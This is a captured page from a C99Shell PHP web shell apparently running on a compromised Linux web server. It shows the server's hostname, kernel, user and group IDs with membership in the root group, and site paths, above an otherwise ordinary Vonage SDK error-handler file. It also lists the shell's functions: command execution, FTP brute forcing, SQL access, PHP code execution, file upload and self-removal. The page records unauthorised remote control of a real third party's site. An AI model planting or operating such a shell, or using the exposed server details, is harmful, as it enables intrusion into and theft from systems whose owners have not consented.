!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/vonage/client-core/src/   drwxr-xr-x
Free 28.92 GB of 117.98 GB (24.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiErrorHandler.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Vonage Client Library for PHP
 *
 * @copyright Copyright (c) 2016-2020 Vonage, Inc. (http://vonage.com)
 * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
 */

declare(strict_types=1);

namespace 
Vonage;

use 
Vonage\Client\Exception\Request as RequestException;
use 
Vonage\Client\Exception\Server as ServerException;
use 
Vonage\Client\Exception\Validation as ValidationException;

class 
ApiErrorHandler
{
    
/**
     * @param string|int $statusCode
     *
     * @throws RequestException
     * @throws ServerException
     * @throws ValidationException
     */
    
public static function check(array $body$statusCode): void
    
{
        
$statusCodeType = (int)($statusCode 100);

        
// If it's ok, we can continue
        
if ($statusCodeType === 2) {
            return;
        }

        
// Build up our error message
        
$errorMessage $body['title'];

        if (isset(
$body['detail']) && $body['detail']) {
            
$errorMessage .= ': ' $body['detail'] . '.';
        } else {
            
$errorMessage .= '.';
        }

        
$errorMessage .= ' See ' $body['type'] . ' for more information';

        
// If it's a 5xx error, throw an exception
        
if ($statusCodeType === 5) {
            throw new 
ServerException($errorMessage$statusCode);
        }

        
// Otherwise it's a 4xx, so we may have more context for the user
        // If it's a validation error, share that information
        
if (isset($body['invalid_parameters'])) {
            throw new 
ValidationException($errorMessage$statusCodenull$body['invalid_parameters']);
        }

        
// Otherwise throw a normal error
        
throw new RequestException($errorMessage$statusCode);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--